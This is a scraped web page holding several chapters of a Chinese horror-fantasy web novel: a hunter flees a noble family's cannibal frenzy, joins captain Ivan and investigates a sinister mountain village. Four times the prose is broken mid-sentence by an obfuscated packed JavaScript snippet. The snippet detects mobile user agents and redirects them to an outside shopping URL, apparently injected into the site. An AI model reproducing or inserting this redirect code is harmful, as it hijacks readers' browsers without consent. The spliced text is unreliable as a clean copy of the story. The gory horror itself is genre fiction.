他们死状都很惨烈,有的七窍流血,鲜血浸透的眼睛望着不知何处,有的拦腰而死,两截斩断的身体被分开了还在蠕动,还有套着绳圈吊在绞刑架上的,舌头都被勒得垂了下来。毒杀、窒息、枪毙……死法数不胜数,那些尸体横七竖八地摆了一地,看上去就像走进了屠宰场,让路远寒停下脚步,心想这个家族被诅咒果然是有原因的。 卢修看到这一幕,已经什么都说不出来了。 他就是再性情暴戾,也干不出这么丧心病狂的事,更何况府上的嫡系成员都养尊处优惯了,把仆人都处死了,谁来服侍他们? 难道真的是莉莉安回来了,卢修面色煞白,她死而复生,只为操纵家族的厄运,在这座府邸上掀起一场惊天的灭门惨案…… 他还没来得及惊出一身冷汗,路远寒已经快走两步,站到了走廊窗前。 府上终日焚烧的香不知何时已经灭了,他在会客厅见过的那些罗德里厄围在棺材附近,正分食着那具尸体。他们神情沉醉,嘴上鲜血淋漓,唇齿间沾着乌黑的痕迹,一个人啃着扯下的半张脸皮,另一个人就嚼着莉莉安的指骨,似乎觉得这样做就能解除诅咒。尸水从那修长的指缝间流出,雨水似的一滴滴打在地上,浸透了他们的影子。 外围的人分不到血肉,已经急得满眼通红,竟然发狠攥着前面人的头发,将自己的亲属往旁边甩去。就这样你推我搡,喧嚷、争吵、叫骂不绝于耳,看来这些尊贵美丽的人确实是疯了。 只不过卢修的预感似乎倒过来了,并非莉莉安想要吃了每一个人,而是这家族要将她的血肉据为己有。 晚餐时坐在路远寒旁边的小女孩,也在这些人当中。只是她毕竟太小了,无论如何都争不到前排,被前面的人随手一推,就向后退去,重重跌坐在了地上。 女孩茫然地望着一众神情癫狂的父兄,不知道要不要再去抢夺尸身。她年龄虽小,却也知道死亡是一件恐怖的事。 就在这时,一只健硕有力的手将她拉了起来。小女孩回头望去,被那漆黑的鸟嘴吓得险些惨叫出声,然而面具揭起,露出了曾让她颇有好感的一张脸,女孩顿时安静了下来。 路远寒竖起手指,示意她不要出声,又将面具戴了回去。 他转过头去,看见情绪崩溃的卢修已经冲到了棺椁旁边,质问着为首的罗德里厄家主:“父亲!你们在干什么啊!” 显然,捧着尸肉将脸埋进去的男人已经听不进去他说的话了。罗德里厄家主从湿漉漉的肉糜中抬起头,眼睛僵硬地鼓突着,一动也不动,从他喉咙里还不断发出咽食的声音,他反应了片刻,才意识到面前的是自己的儿子。 那年轻而耀眼的容貌似乎灼伤了他,男人倏然阴了脸,竟然连肉也不吃了,抬手就要朝卢修抓去。 他的手臂干瘦乌黑,指甲也开始腐朽,死前才有的症状提前出现在了他身上,男人看到自己身体上的怪状,震惊得动作一顿。 趁他反应的空当,路远寒已经拽着卢修往后退去。 然而他伸手抚上自己的脸颊,却发现皮肤细腻而光滑,就像一张刚从少年身上剥下来的人皮,还散发着暖烘烘的温热触感。 年轻与衰老同时在他身上交错,罗德里厄家主转过身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13153242|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,看着那些沉浸在鲜血之中、异样美丽的同族面庞,像是笃定了吃下这具尸身可以恢复正常,又开始和别人争抢。 在众人的撕扯之下,莉莉安很快就被开膛破肚,白皙的肌肤下遍是触目惊心的伤口。不知道是谁剖出了一颗眼珠,那只眼睛摔落在地,骨碌碌滚了几圈,最后停在卢修面前,用毫无生气的目光注视着他。 “疯了…都疯了……” 卢修瘫坐在地,这噩梦般的一幕比怪物还要让他印象深刻,尽管早有预感,但他还是禁不住深深地战栗,仿佛身体里每一根血管都在恐惧。 就在罗德里厄争得头破血流之际,其中某个人被推了出去,撞倒了旁边的提灯。倾翻的火苗一瞬间顺着他的裤腿窜上去,又从他的手臂烧到了另一人的肩膀上,棺材遇火就着,这些面容俊美的贵族一时间都成了火人,将黝黑的前厅照得极为亮堂。 路远寒没再让卢修发愣下去。他一把揪住雇主的衣领,将他拎了起来,左手则揽着女孩的肩膀,带着这两人远离了火情。 “你们家马车停在哪里?” 卢修回过神来,踉跄着跟在他身后,给路远寒指了个方向:“马厩在那边,车就在旁边不远的地方停着。不过驾车这种事一般都是下人去做的,他们刚才都死了……” “管不了那么多了!” 路远寒将小女孩塞到了卢修怀里,自己则先去马厩里牵了一匹马出来。好在罗德里厄府上养的都不是烈性马,它们性情温驯,即使被一个陌生人牵出来也不嘶鸣反抗,照常等着缰绳套上来。 卢修没照顾过小孩,手忙脚乱地带着侄女上了马车。 那名幼小的罗德里厄面上略有犹豫,纤细的手攥紧了他的衣角:“小叔叔,我们是要逃出去吗?” “嗯……”卢修顿住了,他也不过是个十多岁的少年,自己都不清楚现在是怎样的心情,“我们只是出去一趟,很快就会回来的。” 他望着在前面驾驶着马车的背影,忽然福至心灵,问了一句:“保镖先生,你会驾车吗?” 没有得到回答,卢修的心倏然一沉。 车厢猛然颠簸了一下,他被颠得乱颤,紧急之下伸手扶住座椅,又将女孩也抱进自己怀里。好在这样的事没有再发生,马车越过火光冲天的前厅,趟过一地惨死的尸体,最终有惊无险地出了大门,朝着城堡下的矮坡行驶而去。 卢修还不能接受事实,看哪里都感觉有一个又一个生吃血肉的狂人追着他不放,索性直视前方,让视线落在了路远寒身上。 那头黑发在面具下微微晃动着,在一双惊魂未定的眼睛里被想象出各种怪异的形状,仿佛深海之下飘荡的水藻,又像是怪物盘旋在头顶覆盖的阴影。 正当他眼睛垂下,就要陷进幻觉的一刹,响起的声音又叫醒了他。 “能联系上你舅母吗,少爷?等会给你们俩送到缉察队去,他们应该不会抛下尊贵的少主人不管吧。” 31. 伊凡 对于这个问题,卢修给出了肯定的答案。 路远寒驾车到了霍普斯镇上,就请了一位马车夫来接替他的工作,毕竟再颠簸下去,这两位少爷小姐也快吐出来了。他上了后车厢,靠在座椅上闭目养神,不时能感受到隔着面具透过来的视线,路远寒推测,应该是那个小女孩的。 到了缉察队的驻地,卢修报上伊蒂斯夫人的名讳,很快便有一位督察走出来,看上去官衔不小,却对他表现得很是恭敬。 督察说:“罗德里厄少爷,请跟我来。” 出于职业习惯,他不着痕迹地打量了一眼路远寒。 这个猎魔人带着一身无法掩盖的危险气息,为了两位贵族的安全着想,督察也要认真审视跟在他们身边的人。只是隔着一张鸟嘴面具,他看不到对方的神情,也无从判断路远寒在想什么。 卢修松了一口气,正要跟着督察进去,又忽然想起了什么,从衣带里取出纸笔,开了张两千帝恩币的支票给路远寒。 对于翻了一倍的酬劳,路远寒当然不会拒绝。他跟两人分道扬镳,兑了支票,又回到猎魔人协会装填好弹药,刚好碰见满面疲惫的威尔斯,这才得知对方也刚结束一桩委托。 在前辈的威逼利诱之下,他只得陪着威尔斯到秘语者坐了片刻。 “这些雇主总想靠一点小钱让猎魔人为他们卖命,去他的,天底下哪有这样的好事!”威尔斯抖了抖眉毛,喝下一大口微醺玛丽莲,“等到挣够了后半辈子的钱,我就退下来休息几年,到黑兹利特城买一栋楼,据说黑兹利特靠近巨藤,晴朗日也比海岸边上要长得多。” “每天喝点小酒,晒晒日光浴,不用面对数不清的畸变物,要多惬意就有多惬意。” 路远寒听着威尔斯畅想未来,了然地一点头。既然靠近通往地面的巨藤,那晒的应该是真日光,而不是黑区那种让人浑身发冷的太阳。 黑兹利特城吗……路远寒用指尖摩挲着杯柄,记下了这个名字。 邻桌有人点了一瓶酒,忽然,酒保手里的开瓶器脱手而出,锋利的铁丝朝着路远寒眼睛飞来,电光石火之间,被他反应极快地伸手攥住,从戳破的指腹间淌下一滴血。 什么情况?路远寒察觉到一丝诡异,将开瓶器放在了桌上。这东西刚才就像是活了,他甚至能感受到毫不掩盖的杀气。 威尔斯倏然黑了脸:“他来了。” 他话音刚落,一个气质忧郁懒散的中年男人在吧台坐了下来,翻看着桌面上的酒单。男人穿着一身风衣,黑眼圈极重,就连胡茬也没有刮干净,由于不修边幅,看上去跟社会闲散人员没有区别。尽管如此,他领口上那枚猎魔人徽章仍在闪着银光。 威尔斯将杯子重重一放:“真稀奇,你竟然会到这种地方来。还以为大名鼎鼎的伊凡队长早就认清自己的宿命,死在海上了。” 对于他隐隐带着火气的话,男人也不置喙,只是转头朝路远寒说:“你就是奥斯温吧?格林让我到这里来找你。” 听了两人刚才的话,路远寒已经明白了面前人的身份,想必这就是威尔斯提到过的那个人,也就是他名义上的队长。 他有种预感,伊凡接下来要说的绝不是一件好事。 “前辈找我有什么事吗?” 路远寒微笑着,打量的视线落在伊凡身上,留意到他手腕上绑着的一个黑环。那黑环比起首饰,更像是特制的镣铐,将他掌下勒得青筋突起,骨节难看,瘀血拧成的红痕已经深刻地渗进了皮肤。 察觉到他的目光,伊凡不甚在意地拨了一下手上的黑环。 “它叫眷顾,听起来很奇怪吧?这样神奇的物品,到底是上天的眷顾,还是恶魔的眷顾呢……其实我觉得更像是一种甩不掉的厄运。” 威尔斯从鼻子里哼出了一口气:“只留下你,倒霉的却是周围其他人,确实是一种眷顾。” 伊凡被他接连打断话头,面色一沉,用眼神示意威尔斯先住口,让他把正事跟路远寒交代完。 据伊凡所说,他需要去调查一个闹鬼的村庄,说是村庄,其实是某个隐藏在山中、秘而不宣的聚落。在那里生活的人都性情孤僻,不愿意与外界交流,而他们中曾有一个人联系过报社的编辑,两名编辑和那人商量好,要去修兰村采集一些新闻,只不过还没动身,就意外惨死在了家中。他要顶替那两人的身份,前去调查,因此才需要一个信得过的帮手。 说到这里,伊凡下意识摸了摸手环,仿佛它有着自己的意志:“是眷顾让我找上了你。” 路远寒斟酌着问:“其他队员呢?” 他并没有一下就同意,自然有多方面的考量。一来伊凡并没有以队长的身份请求帮助,事情有转圜的余地,二则那件异物的力量他也听威尔斯说了,要真是随时都能杀人,跟在他身边未免太过危险。 伊凡笑了一笑:“呵呵,他们有些人在外地,有些已经死了,剩下的都很不愿意见我……不用担心眷顾的影响,如果你同意了,我会请人封印它的力量。” 他边说边打开怀表,看了一眼时间。 金属的表身略微磨损,应该是有些年头了,在这个时代不用机械表,看来这件物品对他很重要。路远寒视线一扫,看到表盘里镶着片小像,隐约能看到一个带着男孩的女人,看上去像是伊凡的家人。对着这块怀表,伊凡难得露出了缅怀的神情。 路远寒想了想:“容我再考虑一下。” 他再三表现得犹豫,伊凡却没有计较什么,甚至还请他和威尔斯喝了一杯酒,可见这位队长确实脾气很好。 跟他交代完,伊凡就匆匆走了。毕竟眷顾的力量太过强大,而在秘语者待着的人数不胜数,霉运要是砸下来,那简直是一砸一个准。 路远寒看了一眼威尔斯,将酒保招呼过来,叮嘱他看着这个猎魔人不要喝昏过去了。在做决定前,他要先回一趟维诺拉教会,上次从地下墓穴里拿到的檀木盒子还没有用,有了收容性异物在,他也就可以带走那根残缺的脐带了。 有了之前的经历,现在不需要别人引路,路远寒也能熟练地穿过一片漆黑的密林,找到维诺拉教会的废墟。 走进教会时,他谨慎地盯着高处被掩盖的神像,很快又松下一口气来。 没有了教徒们的祭拜,王的梦境和此地的联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165275|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系似乎也被切断了,至少路远寒没有感受到那诡异的注视,因此他才能放心翻开祭坛,将已经干瘪的脐带装进檀木盒子中。 随着封盖落下,层层散发着幽光的禁制又浮现在了这件异物表面。 路远寒收起放在盒身上的手,他的灵性确实感觉不到那股诡异的气息了。盒子的价值不言而喻,他咬破指尖,在封盖上滴了一点血,有血液的联系在,即使有人盗走檀木盒,他也能追踪到那人的下落。 等到离开时,他发现门前长出了一株野草。 或许再过上几个月、几年,又或者数个世纪,这座无人祭拜的教会就将彻底被茂盛的草丛所掩盖。 坐在返回霍普斯镇的马车上,路远寒的灵性忽然一动。他皱着眉掀开窗帘,不知何时又下起了雨,飘洒的阴雨刮进了车厢,雨滴细密地落在他脸颊上,激起冰凉而微妙的触感。 隔着厚重的雨幕,他看到前面不远处的一根路灯下,站着个高大的黑影。 分明被雨淋着,那人满头蓬松的鬈发却如潮水一般散开,尾端处像是游动的蛇。细看之下,路远寒发现那竟然真是数十条指腹粗细的绿蛇,正躁动不安地吐着信子。无数双冷血的眼睛一眨也不眨,已经盯上了这辆马车。 来者不善,路远寒立刻做好了战斗准备。 男人挥动手臂,一把分量极重的钢斧砸在驾车的位置,在那锋利的斧刃下,木屑四溅,牵着马的缰绳应声而断。前面的马受惊扬起前蹄,就连车夫也吓得落荒而逃。 车厢猛然倒在地上,路远寒却已经从侧面的车窗翻了出来。他从手杖里抽出一截利刃,身体下压,顺着雨水浸湿的地面滑到障碍物后,思考着应该如何应对眼下的情况。 他刚才看到对方手里提着几个血淋淋的人头,脸上还隐隐露出近乎癫狂的愉悦感。显然,这是一个靠屠杀取乐的极端分子。 路远寒很快想起了霍普斯日报上刊登过的内容,关于雨夜屠夫的那篇。报导中称,犯下多起惨案的凶手仍在潜逃,没想到让他碰上了。 这条街并不是无人区,但愿意报警的人很少,等到缉察队赶来就太晚了,他的触手也受到了限制。对路远寒而言,他更不可能放开盒子,因此只能等待一个合适的时机,将对方迅速杀死。 他静下心来,仔细分辨着夹杂在雨声中的脚步。 背后的黑影一步一步离他越来越近,还伴随着沉重的呼吸声。他拧身捅出紧握的利刃,从男人下颌戳进去一刀刺穿了他的脑髓,但就算这样,那双野兽般的眼睛仍然望着路远寒,无数蛇头朝他扑面而来,牙尖上淌着幽绿的毒水。 路远寒当机立断,撤身往后退出两步。他反手砍下一众鳞片冰冷的脑袋,蛇头砸在地上,还在嘶嘶地鸣叫着。 他正要和对方拉开距离,忽然一阵轰隆隆巨响在两人头顶响起。高处坍塌的建筑急速而下,将男人的身体砸成满地血水,一根铁柱从他头皮往下将尸身贯穿猛扎在地面,仿佛从天而降的审判之剑。 随着伊凡从雨幕之中走出,惋惜似的擦了擦手上的黑环,路远寒清楚地意识到了一个事实。 是眷顾的影响。 32. 村庄 眷顾一出,那杀人狂立刻死得灰飞烟灭。 路远寒虽然没有被砸中,却也感受到了那恐怖无比的威力。雨水顺流而下,他浑身都被浸透了,只一双深蓝色的眼睛望着伊凡,男人似乎很是无奈,竭力控制着手上的黑环黯淡下去,才走过来递给他一把伞。 拒绝伊凡的话会怎样?路远寒想。是眷顾找上了他,要是惹得那件异物不高兴,指使他身边的一切活物死物暗藏杀机,到时候遭殃的还是他自己。 那漆黑的手环似乎活了过来,在伊凡手上静静地注视着他,直到环身的颜色越来越黑,仿佛随时要滴下水来。 路远寒说:“我想明白了,前辈。什么时候出发?” 对于他的答案,伊凡颇感意外。 毕竟他在猎魔人之中臭名远扬,刚被眷顾缠上的时候,他还无法控制这东西,闹出事后,同事们再也不愿意接近这位名义上的队长,他也就因此一个人前往了海上。 直到眷顾再一次下令,伊凡才找上了连照面都没打过的新队员,没想到对方竟然同意了。 伊凡神情复杂,嘴唇嗫嚅了几次,似乎想说些什么。他请人暂时封印眷顾还需要一段时间,路远寒也因此得到了几天休息,只不过伊凡给他拿了修兰村的资料,长达数十页,他不得不熬了两晚,提前整理好重要信息。 有那么一瞬间,他以为自己还在读研究生。 等到出发之时,两人已经顶替了死去编辑的身份,就年龄而言,路远寒叫伊凡前辈也毫不违和。 至于眷顾,倒真的被伊凡想办法取了下来,放进收容匣里,而那匣子则装在了他们随身的行李箱中。 伊凡说,眷顾的力量虽然被压制了,但只能维持几天,而且黑环不能离开他身边,否则会发生极为恐怖的事。要是中途发生了意外,路远寒必须立刻离开,和他保持三十米以上的距离。 由于此行是潜入调查,他们换了一身较为得体的服装,买了公文包、稿纸、照相机,看上去颇为斯文的金框眼镜,而这些昂贵的开销也由伊凡承担。 按照他的话来说,当队长的就应该多照顾后辈一些。 路远寒端着照相机,它在黑区的学名是捕影之眼。他感觉这东西用起来颇为笨重,只能照出模糊不清的黑白照片,即使对着活人拍摄,看上去也带着一身沉重的死气,实在是很不详。 但为了扮演好现在的身份,他也只能低着头,将这东西挂在身前,不时拍一拍沿路的风景照,以免被人拆穿。 修兰村离霍普斯镇很远,又藏在深山中,他们这一趟辗转了四五天才到。 根据地图上的指引,两人走进山腹,避开一条又一条湿滑陡峭的岔路,终于看到了那座神秘的村庄。 修兰村傍山而建,坐落在一道峡谷的缝隙中,建筑风格较为古朴,多数都是在茅草盖的屋顶上再铺一层石瓦,酒肆、工坊、鸡圈等设施都很完善,因此不需要同外界交流,村里人就能维持基本生活。随着两人走进村庄,路远寒观察到,每家每户门前都悬着一个红铃铛,那铃铛虽小,却不随风飘扬,似乎只会在特定的时刻响起。 “先生们,从这边走!” 一个脸颊偏黑的小伙子朝他们招手,正是联系两位编辑的那个村民。他的个头略矮,要仰着头才能跟伊凡说话。考虑到修兰村不用外界的纸钞,伊凡给了他半根金条,作为预付的报酬。 艾克拿到金条,顿时表现得热情了很多。他一边带着两人参观村庄,一边为他们介绍本地的习俗。 旁边的房屋里外有不少村民打量着这两个外来人,一个坐在门前洗衣服的女人看了他们几眼,嘴里不知道嘟囔着什么,伊凡皱了皱眉,艾克察言观色,立刻大声呵斥着那个阴冷古怪的女人。 “别跟他们一般计较,先生们。”艾克微笑着,“毕竟村子里很少有外人来,很多村民对陌生人都抵触得很强烈,这也没有办法。” 路远寒跟在伊凡身后,正拿着纸笔记录修兰村的情报。那副金边眼镜掩盖了他身上的野兽气息,温顺地搭在鼻梁上,让他的脸显得文静而有书卷气,也就不会让人格外警惕。 他笔尖一顿,开口问道:“我看到你们村子里挂了很多铃铛,有什么特殊意义吗?” “啊…事情是这样的。”艾克说道,“您也看到了,我们修兰村的土地并不适合种庄稼,平时靠捕杀猎物为生,只不过山里猎物很少,有时候捕到了,往往需要一个村轮流分着吃。谁家铃铛响了,才能轮到他们吃肉,大家平时只能吃干粮下饭,都饿得饥肠辘辘。” 话虽如此,路远寒看着村民,却觉得他们身上都有一种浮肿感,那并不是肥胖性的臃肿,而是说不出的怪异,看起来厚重而油腻。 村民身上的怪状,难道与他们平时接触的食物、水源有关吗?路远寒揣测着。 就在他沉思的时候,伊凡又开口了:“艾克,你们村上有什么故事吗?我们也是工作所需,越离奇越诡异的故事越好……你知道,外面的人都有一种病态的审美,他们只关注血淋淋的新闻。” 艾克脚步一顿,仔细想了想,发现还真有这么一件事。 那是十多年前的事了,由于山体滑坡冲垮了修兰村边上的小溪,为了寻找新的水源,村里人主张要挖井,结果挖到了一只巨大的兽爪。从那兽爪的尺寸来看,它的原型绝非他们认知中的任何一种动物,趾骨上覆盖着一层雪白的毛皮,比狸子都漂亮,因此有些人认为这是山神的遗骨。 兽爪出土后,引起了一阵不小的恐慌。 有段时间村里人人自危,连门都不敢出,但仍有胆大的继续往下挖井,只不过井里流出的水却不能喝,偶尔有鱼从附近的河道游过来,它们身上也都长着蠕动的眼睛,看上去非常诡异。 因为敬畏山神,后来那口井虽然废弃了,却也没有被人填上。 说到这里,艾克朝两人示意:“先生们,我带你们去看看吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176403|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 当年挖井的位置在修兰村边上,几人顺着一条小路走了有七八分钟,终于在一棵树下看到了那口枯井。路远寒在井边上站定,低着头朝洞口下望去,看到的只有死寂的黑水,水面幽幽,仿佛有什么东西在注视着他。 伊凡又问了艾克一些问题,他们的声音传到井里,激起阵阵回响。从那荡起的声响中,路远寒还能听到自己的呼吸声,正在不断地起伏、震颤。 他拿着相机离远了些,准备将这口井所在的位置拍摄下来。 指节按动快门的瞬间,从镜头中闪出一道光,艾克像是受到了什么刺激似的,极为畏惧地伸手挡着光躲远了。 “抱歉,没想到会吓着你。”路远寒朝艾克露出一个温和的微笑,“这件物品可以用来记录看到的东西,你读过报纸的话,应该知道那些照片就是这样拍摄出来的。” 艾克惊魂未定,脸上的神情还有些难看。 但他毕竟还拿着人家的金条,倒也没有多说什么,又带着伊凡和路远寒在村里到处转了转,给他们指了村长家的位置。 第一天两人并没有太深入调查,晚上留宿在艾克家里。这个热情好客的小伙子拿了一份干面包,以及两碗不知道由什么煮成的糊状物给他们。 伊凡观察着碗中的液体,随手从包里抽出一袋饼干,扔给了路远寒:“接着,这里的东西就不要吃了。” 在调查过程中,不吃下村民们给的食物,不随便饮用当地的水源,这是一个猎魔人最基本的警惕心。路远寒拆开饼干,聊胜于无地尝了几块,感觉这位队长的口味属实有些奇怪。 他转过头,发现伊凡已经躲到角落里去了,此刻正在抽烟。 缓缓升起的烟雾围绕着他那张成熟而沧桑的脸,让人看不清他脸上的神情。路远寒摘下眼镜,打开了自己的公文包。他这次出门带了不少巧克力夹心糖,他自己叼了一块,又极有礼貌地给伊凡分了些。 虽然巧克力很小一块,远不如活人血肉带来的饱腹感强,但摄入糖分可以让他的大脑保持清醒,路远寒也就能更好地理清事情的各个线索。 在村边看到的那口井虽然诡异,却废弃已久,并没有触发他的灵性。 至于剩下的线索……红铃铛的事目前掌握得太少,有待进一步调查。艾克看上去在引导他们,但直觉告诉路远寒,这人不是为了钱才接近他们的。那两个编辑死得离奇,不知道他们发现了什么,又或者招惹到了什么。 他翻着相机里的照片,发现当时被拍到的不只艾克,在井口旁边还有一间房屋。那间屋子里的窗口黑黝黝的,有一个人正站在那里,面无表情地望着他。说窗边有“人”并不确切,因为相片照得很不清晰,聚焦在对方脸上,让屏幕看起来白茫茫的,并不像人。 但那东西确实有着五官,只不过被拍得极为扭曲,这种似人非人的感觉相当怪异。 路远寒指腹一动,那张照片立刻消失了。 33. 调查 刚才看到的是什么? 路远寒眉头紧皱,在发现照片里还有一个不明生物的瞬间,他的手像失控了似的,直接把相片删除了,他也就无法再向伊凡证实那东西的存在。 “这村子很古怪,似乎还有不知名的怪物潜藏在村民们的家中……” 他将照片的事跟伊凡说了一遍,刚还满面懒散的男人顿时来了精神。毕竟他们受人之托潜进修兰村,就是为了查清这座村子背后的真相。伊凡拿出一沓案卷,将灯罩擦亮了些——修兰村没有蒸汽灯,用的还是传统的煤油灯。 那些案卷上记录着数十年来在附近失踪、死亡的人口名单。 除了极少数游客、编辑、偷猎者等人到过这里,还有一些人身份可疑,打着探寻古迹的名号前往修兰村,不知道为什么对一个籍籍无名的村落如此执着。而那些队伍最后都下落不明,仿佛被这座巍峨的石山吞噬了一样。 路远寒想,到底有什么在吸引着他们,一步一步走向深渊? 随着咔哒一声,伊凡已经打开行李箱,将装填好弹药的枪械带在了身上。既然他想出门调查,那路远寒也不可能一人留在屋中,两人相互照应,也好应对紧急情况。 不知道是不是他的错觉,这间屋子似乎突然变冷了。 路远寒警觉地回头,看见窗户边缘正浮现出一张模糊不清的脸。那张脸惨白而扭曲,两只眼睛紧贴在厚重的玻璃上,窥伺着他们的动作,由于贴得太紧,甚至能看到表面蠕动的血丝,像一条条颜色鲜红的蛇,随时要渗进屋子里一样。 伊凡顺着他的视线望过去,也看到了趴在窗户上的怪脸。 他反应极快,当即开门出了房间,路远寒紧随其后,然而两人一出门,就发现那东西消失得无影无踪,仿佛从未出现。 艾克还在主屋睡着,他们便没有弄出动静,悄无声息地从前门出去了。路远寒脚下一顿,发现门前同样悬挂着一个红铃铛,那铃铛不知道为什么,竟然微微晃了起来,在他悚然的视线下,又重新恢复了平静。 按照伊凡的计划,他们应该先重点调查那口枯井和村长家。 两人手提煤油灯,顺着走过的小路一直前行。此时夜深人静,修兰村里的每个人仿佛都在屋里睡觉,不见一道人影,黑黢黢的寂静从他们脚下蜿蜒而出。 那口井倒是没有任何变化,一如相机里拍摄到的那样。 路远寒用灯芯点着了一根树枝,随手扔进井里。借着下落的火光,他看到井壁上附着了许多黏稠的黑色痕迹,如同缠绕而上的长发。枝叶迅速落下,一接触到水面,那潭死水像是突然活了过来,张嘴将树枝吞了进去,霎时间火光熄灭,只剩无边的黑暗。 “这片区域可能有着程度不一的畸变。”伊凡有了判断,“不知道造成这种现象的源头在哪里……” 他打开弹药袋,将一颗弹丸似的球状物放进井口。随着一声爆炸引起的轰然巨响,井下竟然传出阵阵凄厉的惨叫,无数耀眼的白光浮现又湮灭,最后归为漫天飞扬的灰尘。 伊凡淡淡起身,将他手上的特殊物品也分了路远寒一份:“这是灵爆弹,专门用于克制灵体类畸变物的。它的申请权限相当高,以队长的职位,也只能拿到这么几颗,尽量珍惜着用。” 路远寒接过两颗灵爆弹,将它们放进了随身弹匣里。 在结束罗德里厄府的委托后,他就将镰刀还给了卢修,能用于对付灵体的手段过于匮乏,伊凡这一手补给,可谓是雪中送炭。 解决完枯井中的异状,两人又望向路远寒所说窗边有“人”的屋子。 那窗口依旧漆黑一片,只是没有了那惨白的面庞,不知道那些怪物是隐藏在了哪里,才能像幽灵似的随时出现在他们身边。 路远寒正要朝那屋子走去,视线扫过周围,却突然看见一道身影,从容貌上看,正是被艾克训斥过的女人。她面上神情浑浑噩噩,整个人正以诡异的姿势贴伏在地面上,像是在模仿某种动物一样,四肢扭动,快速向前爬去。 他将伊凡拦了下来,两人提着油灯,面色凝重地打量着那个女人。 女人衣物下露出两条弯曲着的胳膊,她的皮肤表面浮现出无数瘆人的痕迹,看上去油腻腻的,近乎能拧出一把流油的水,而她浑身上下仿佛解冻过的肉,就快要融化了。 路远寒持着枪靠近那怪异的女人,离得近了,才听到她口中重复着的嘶哑呓语。 “泉水…泉水……啊啊泉水!” 什么泉水?路远寒略有疑惑。 他们重金跟艾克打听了许多事,也不知道修兰村附近竟然还有一处泉水,更不知道那泉水有什么作用。 但这无疑是一个重要线索,他跟伊凡交换了眼神,便尾随在女人身后,追着她出了村子。 然而女人出了修兰村,却飞速拐进一处幽深密林,身影上下翻飞,很快就消失在了漆黑的树群当中。树林里岔路极多,两人被她带得找不着路,一时间不敢冒进,只得在入口的树上做了个标记,又顺着来路返回修兰村,前往村长家调查。 据艾克所说,他们村长是个受人尊敬的老者,这么些年来,将修兰村上下数十口人管理得井井有条,就是由他负责分配村里的食物,没有让任何一家人因饥饿而死。 路远寒站在门前,抬头望了一眼村长家的铃铛,看里面还亮着灯,便礼貌地敲了门。 片刻后,门被打开了。 从缝隙里挤出一张布满皱纹的脸,神情颇为阴狠地打量着门口的两人。见伊凡从身上拿出金条,那怪人的态度顿时平和了些,开门将他们迎了进来。 “我们并不是故意打扰您,只是听小伙子说您德高望重,对村里发生的事最熟悉,才想着来了解一下。当然,不会让您免费提供素材,撰稿的费用会按条例给您结清。” 伊凡说起客套话面不改色,倒真像是那么一回事。 村长在前面带路,闻言呵呵一笑,眼尾处的皱纹挤得更深,让他看上去神情古怪:“没事,你们也不是第一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187208|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来打听的。” 看来案卷中提到的那些人,果然来过修兰村。路远寒面色一沉,就是不知道他们离奇失踪,跟村里人有没有关系…… 他们到了前厅,便看到有一个面露痴愚的村妇瘫靠在轮椅上,眼睛黑沉沉的,对外界事物毫无反应,只是呆滞地望着不知何处。从她五官倒是依稀能看出几分美人余韵,然而妇人两颊消瘦,面上被褐斑覆盖,实在是一副人不人鬼不鬼的尊容。 直到村长走到妇人面前,她的眼睛才缓慢地转了一下。 “唉,毕竟上了年纪,也是老毛病了……我妻子这副模样,让两位先生见笑了。”村长推着轮椅,将妇人送回了里屋。 就在这时,路远寒注意到墙上有一幅画像,应该属于村长和他的妻子。 画中的妇人还很年轻漂亮,穿着显然不同于修兰村的服饰,像是从外地来的,眼神却相当恐惧,她站在丈夫身旁,表情僵硬地勾出一个笑。令人细思极恐的是,村长和他们刚看到的老人很像,似乎就是照着他现在的模样画上去的。 路远寒收起视线,又戴上眼镜,露出一个人畜无害的微笑:“不知道您清不清楚,之前来的那些人都去了哪里?” 